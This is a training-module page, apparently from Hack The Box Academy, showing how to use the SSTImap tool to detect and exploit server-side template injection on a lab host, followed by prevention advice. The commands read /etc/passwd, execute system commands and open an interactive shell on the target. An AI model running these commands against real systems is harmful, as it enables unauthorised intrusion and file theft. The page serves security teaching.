SSTI Tools of the Trade & Preventing SSTI

This section will showcase tools that can help us identify and exploit SSTI vulnerabilities. Furthermore, we will briefly explore how to prevent these vulnerabilities.

Tools of the Trade

The most popular tool for identifying and exploiting SSTI vulnerabilities is tplmap. However, tplmap is not maintained anymore and runs on the deprecated Python2 version. Therefore, we will use the more modern SSTImap to aid the SSTI exploitation process. We can run it after cloning the repository and installing the required dependencies:

SSTI Tools of the Trade & Preventing SSTI

```
MisaelMacias@htb[/htb]$ git clone https://github.com/vladko312/SSTImap

MisaelMacias@htb[/htb]$ cd SSTImap

MisaelMacias@htb[/htb]$ pip3 install -r requirements.txt

MisaelMacias@htb[/htb]$ python3 sstimap.py

                 _ __ ___ __ _ _ __
                | '_ ` _ \ / _` | '_ \
                | | | | | | (_| | |_) |
                |_| |_| |_|\__,_| .__/
                                | |
                                |_|
[*] Version: 1.2.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state, and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 5; engines: 17; legacy_engines: 2
[*] Loaded request body types: 4
[-] SSTImap requires target URL (-u, --url), URLs/forms file (--load-urls / --load-forms) or interactive mode (-i, --i
```

To automatically identify any SSTI vulnerabilities as well as the template engine used by the web application, we need to provide SSTImap with the target URL:

SSTI Tools of the Trade & Preventing SSTI

```
MisaelMacias@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test

<SNIP>

[+] SSTImap identified the following injection point:

  Query parameter: name
  Engine: Twig
  Injection: *
  Context: text
  OS: Linux
  Technique: render
  Capabilities:
    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, php code
```

As we can see, SSTImap confirms the SSTI vulnerability and successfully identifies the `Twig` template engine. It also provides capabilities we can use during exploitation. For instance, we can download a remote file to our local machine using the `-D` flag:

SSTI Tools of the Trade & Preventing SSTI

```
MisaelMacias@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'

<SNIP>

[+] File downloaded correctly
```

Additionally, we can execute a system command using the `-S` flag:

SSTI Tools of the Trade & Preventing SSTI

```
MisaelMacias@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id

<SNIP>

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Alternatively, we can use `--os-shell` to obtain an interactive shell:

SSTI Tools of the Trade & Preventing SSTI

```
MisaelMacias@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell

<SNIP>

[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
Linux # whoami
www-data
```

Prevention

To prevent SSTI vulnerabilities, we must ensure that user input is never fed into the call to the template engine's rendering function in the template parameter. This can be achieved by carefully going through the different code paths and ensuring that user input is never added to a template before a call to the rendering function.

Suppose a web application intends to have users modify existing templates or upload new ones for business reasons. In that case, it is crucial to implement proper hardening measures to prevent the takeover of the web server. This process can include hardening the template engine by removing potentially dangerous functions that can be used to achieve remote code execution from the execution environment. Removing dangerous functions prevents attackers from using these functions in their payloads. However, this technique is prone to bypasses. A better approach would be to separate the execution environment in which the template engine runs entirely from the web server, for instance, by setting up a separate execution environment such as a Docker container.

← Previous Next →

Mark Complete & Next

Powered by HACKTHEBOX